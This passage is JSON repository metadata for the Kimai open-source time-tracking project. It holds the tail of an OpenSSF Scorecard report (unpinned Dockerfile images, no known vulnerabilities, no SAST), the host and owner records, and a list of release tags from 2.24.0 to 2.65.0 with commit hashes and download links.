containerImage not pinned by hash: Dockerfile:80","Warn: containerImage not pinned by hash: Dockerfile:91","Warn: containerImage not pinned by hash: Dockerfile:97","Warn: containerImage not pinned by hash: Dockerfile:101","Warn: containerImage not pinned by hash: Dockerfile:106","Warn: containerImage not pinned by hash: Dockerfile:110","Warn: containerImage not pinned by hash: Dockerfile:114","Warn: containerImage not pinned by hash: Dockerfile:118","Warn: containerImage not pinned by hash: Dockerfile:125","Warn: containerImage not pinned by hash: Dockerfile:157","Warn: containerImage not pinned by hash: Dockerfile:185","Warn: containerImage not pinned by hash: Dockerfile:224","Warn: containerImage not pinned by hash: Dockerfile:238","Warn: containerImage not pinned by hash: Dockerfile:285","Warn: containerImage not pinned by hash: Dockerfile:306","Info:   0 out of  17 containerImage dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-20T12:42:24.169Z","repository_id":37451210,"created_at":"2025-08-20T12:42:24.169Z","updated_at":"2025-08-20T12:42:24.169Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36948025,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-08-27T02:00:07.166Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"kimai","name":"Kimai - Time Tracking Software","uuid":"981996","kind":"organization","description":"A free and open-source time-tracker built with PHP","email":null,"website":"https://www.kimai.org","location":"Austria","twitter":"kimai_org","company":null,"icon_url":"https://avatars.githubusercontent.com/u/981996?v=4","repositories_count":10,"last_synced_at":"2023-09-08T03:15:23.399Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/kimai","funding_links":[],"total_stars":null,"followers":null,"following":null,"created_at":"2022-11-08T03:38:25.697Z","updated_at":"2023-09-08T03:15:24.435Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/kimai","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/kimai/repositories"},"tags":[{"name":"2.65.0","sha":"fd8989e9011aeff0a9ed573c294707140b4401b0","kind":"commit","published_at":"2026-08-11T15:14:38.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.65.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.65.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.65.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.65.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.65.0/manifests"},{"name":"2.64.0","sha":"1ee41264d797980296cac7dacf900c4b964c59fc","kind":"commit","published_at":"2026-08-09T17:07:29.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.64.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.64.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.64.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.64.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.64.0/manifests"},{"name":"2.63.0","sha":"2e1c9e48b437cce69dcd52d0083862237ce0b321","kind":"commit","published_at":"2026-08-03T11:36:14.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.63.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.63.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.63.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.63.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.63.0/manifests"},{"name":"2.62.0","sha":"0164f2ba8f3c975c266c5bbb40a2a3789e583c4c","kind":"commit","published_at":"2026-07-09T20:16:05.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.62.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.62.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.62.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.62.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.62.0/manifests"},{"name":"2.61.0","sha":"368a8e48efac4ea2d644b466a8b19eb2fd68d31f","kind":"commit","published_at":"2026-06-20T11:06:22.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.61.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.61.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.61.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.61.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.61.0/manifests"},{"name":"2.60.0","sha":"23f5628cc936f13e093a7df770a1bf43e3830661","kind":"commit","published_at":"2026-06-10T15:44:56.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.60.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.60.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.60.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.60.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.60.0/manifests"},{"name":"2.59.0","sha":"8ed666c0eb03c97aa82df109edb8929566fe5f99","kind":"commit","published_at":"2026-06-05T17:10:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.59.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.59.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.59.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.59.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.59.0/manifests"},{"name":"2.58.0","sha":"31a8f887a5cda517db7b4320a7ad997c87d08601","kind":"commit","published_at":"2026-05-25T13:39:47.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.58.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.58.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.58.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.58.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.58.0/manifests"},{"name":"2.57.0","sha":"09b7adaa062d4843afa882fc1343800467a6125d","kind":"commit","published_at":"2026-05-21T20:22:11.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.57.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.57.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.57.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.57.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.57.0/manifests"},{"name":"2.56.0","sha":"ebb54e9c0c5c6ae342bcff3bf63beebfda838cfd","kind":"commit","published_at":"2026-04-27T15:10:01.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.56.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.56.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.56.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.56.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.56.0/manifests"},{"name":"2.55.0","sha":"372c676afa0f4b6343cb0cc0db9afe89360e8292","kind":"commit","published_at":"2026-04-16T20:06:53.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.55.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.55.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.55.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.55.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.55.0/manifests"},{"name":"2.54.0","sha":"d456cd3ce2ec5d2599d6cce9490f01f67332d77f","kind":"commit","published_at":"2026-04-13T19:23:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.54.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.54.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.54.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.54.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.54.0/manifests"},{"name":"2.53.0","sha":"999d820d4ca1fb3bb83395ad9bfc73d73b5eb04a","kind":"commit","published_at":"2026-04-10T16:09:27.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.53.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.53.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.53.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.53.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.53.0/manifests"},{"name":"2.52.0","sha":"cad9f587033945bfc748c318ec9d2ea0dba4f0ce","kind":"commit","published_at":"2026-03-16T16:44:12.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.52.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.52.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.52.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.52.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.52.0/manifests"},{"name":"2.51.0","sha":"a0601c8cb28fed1cca19051a8272425069ab758f","kind":"commit","published_at":"2026-03-01T15:53:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.51.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.51.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.51.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.51.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.51.0/manifests"},{"name":"2.50.0","sha":"4154de6bd18c2c7febbffd24669d0b2a3d16fa29","kind":"commit","published_at":"2026-02-25T20:07:40.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.50.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.50.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.50.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.50.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.50.0/manifests"},{"name":"2.49.0","sha":"ff6918fcab83ae2bc952d02bb2592765b6e19ccd","kind":"commit","published_at":"2026-02-15T20:31:06.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.49.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.49.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.49.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.49.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.49.0/manifests"},{"name":"2.48.0","sha":"3f184e42c80b21b29f39d629e5df0ff4c1277383","kind":"commit","published_at":"2026-01-31T09:28:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.48.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.48.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.48.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.48.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.48.0/manifests"},{"name":"2.47.0","sha":"d429c566876f3ac384e46270fc15c0cd29886401","kind":"commit","published_at":"2026-01-25T08:51:22.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.47.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.47.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.47.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.47.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.47.0/manifests"},{"name":"2.46.0","sha":"6a86afb5fd79f6c1825060b87c09bd1909c2e86f","kind":"commit","published_at":"2026-01-06T23:59:47.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.46.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.46.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.46.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.46.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.46.0/manifests"},{"name":"2.45.0","sha":"9e87fc131b7bf757986afc85f18396cf75d7a7ca","kind":"commit","published_at":"2025-12-27T16:53:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.45.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.45.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.45.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.45.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.45.0/manifests"},{"name":"2.44.0","sha":"07ac6c308f1048f71d281920befc123275f6eb4e","kind":"commit","published_at":"2025-11-19T14:21:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.44.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.44.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.44.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.44.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.44.0/manifests"},{"name":"2.43.0","sha":"8a42c9640f8777055556c4776bb35325858923aa","kind":"commit","published_at":"2025-11-14T16:41:33.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.43.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.43.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.43.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.43.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.43.0/manifests"},{"name":"2.42.0","sha":"8e6764b67aaec9d636105893b4594815337d5245","kind":"commit","published_at":"2025-11-12T15:15:04.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.42.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.42.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.42.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.42.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.42.0/manifests"},{"name":"2.41.0","sha":"a3ef1fd1cda22c4775441a4d6ec8d3a297ba7e6a","kind":"commit","published_at":"2025-11-09T21:48:25.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.41.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.41.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.41.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.41.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.41.0/manifests"},{"name":"2.40.0","sha":"190b1dd4f36cfad0661a663bb4ec1164da83239b","kind":"commit","published_at":"2025-09-26T10:12:48.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.40.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.40.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.40.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.40.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.40.0/manifests"},{"name":"2.39.0","sha":"5d3e46cce2c85d112eb7f99e957c3131879f5a9c","kind":"commit","published_at":"2025-08-31T10:56:12.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.39.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.39.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.39.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.39.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.39.0/manifests"},{"name":"2.38.0","sha":"04331420aef0a87b9cecac1334b200686e68f84c","kind":"commit","published_at":"2025-08-08T21:25:42.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.38.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.38.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.38.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.38.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.38.0/manifests"},{"name":"2.37.0","sha":"dfec8071660856f1aebbaeb06ad6a6fd64be7d07","kind":"commit","published_at":"2025-07-04T14:43:38.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.37.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.37.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.37.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.37.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.37.0/manifests"},{"name":"2.36.1","sha":"3d8fa3af44f3402ea6a68060e939cca1f6615614","kind":"commit","published_at":"2025-06-16T16:25:33.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.36.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.36.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.36.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.36.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.36.1/manifests"},{"name":"2.36.0","sha":"da10099248bed04fb676fb9bc39bc900341ac1c0","kind":"commit","published_at":"2025-06-11T12:26:18.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.36.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.36.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.36.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.36.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.36.0/manifests"},{"name":"2.35.1","sha":"12190141d763b61cd98e489d35cb0d8cf3c2a1dd","kind":"commit","published_at":"2025-05-31T13:29:43.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.35.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.35.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.35.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.35.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.35.1/manifests"},{"name":"2.35.0","sha":"0420eb27c7fa81d0328147d1c53b05c92fb1d566","kind":"commit","published_at":"2025-05-28T11:34:01.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.35.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.35.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.35.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.35.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.35.0/manifests"},{"name":"2.34.0","sha":"6e26a37c4d1fd33c7cc26fb4ae90ca4f0a516595","kind":"commit","published_at":"2025-05-18T12:57:19.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.34.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.34.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.34.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.34.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.34.0/manifests"},{"name":"2.33.0","sha":"2a9de506a13a7c94c9bc2f60236f9c4bbc8c1f5c","kind":"commit","published_at":"2025-05-03T09:40:11.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.33.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.33.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.33.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.33.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.33.0/manifests"},{"name":"2.32.0","sha":"9ca69e11140deb1da6b2756d931b449beca7880d","kind":"commit","published_at":"2025-04-06T09:36:12.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.32.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.32.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.32.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.32.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.32.0/manifests"},{"name":"2.31.0","sha":"2a75cd6230238b668ab9e1e363f53956b6cacb78","kind":"commit","published_at":"2025-03-13T17:00:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.31.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.31.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.31.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.31.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.31.0/manifests"},{"name":"2.30.0","sha":"cce49cc4092115c13f2ea3cf73b5bcc2c9698074","kind":"commit","published_at":"2025-02-21T19:50:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.30.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.30.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.30.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.30.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.30.0/manifests"},{"name":"2.29.0","sha":"b42c77a2a1b31ac266878d4417466cc92b4482bc","kind":"commit","published_at":"2025-02-08T23:16:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.29.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.29.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.29.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.29.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.29.0/manifests"},{"name":"2.28.0","sha":"9d7b418d991ce50e8909e2a7f67d441847260651","kind":"commit","published_at":"2025-01-20T15:09:29.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.28.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.28.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.28.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.28.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.28.0/manifests"},{"name":"2.27.0","sha":"4332ef95a2074a4adcc42465c46328f240d66a66","kind":"commit","published_at":"2024-12-22T21:50:42.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.27.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.27.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.27.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.27.0/manifests"},{"name":"2.26.0","sha":"82a3b99a3171d3604cef6abf2bc4c7adae41e2dd","kind":"commit","published_at":"2024-12-05T09:42:07.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.26.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.26.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.26.0/manifests"},{"name":"2.25.0","sha":"eb933e70218488568bc6028f6a07745c76c90588","kind":"commit","published_at":"2024-11-30T13:26:07.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.25.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.25.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.25.0/manifests"},{"name":"2.24.0","sha":"31bae44f3cdd4dd4bd40d46421d086975a30f5ee","kind":"commit","published_at":"2024-10-20T20:30:35.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.2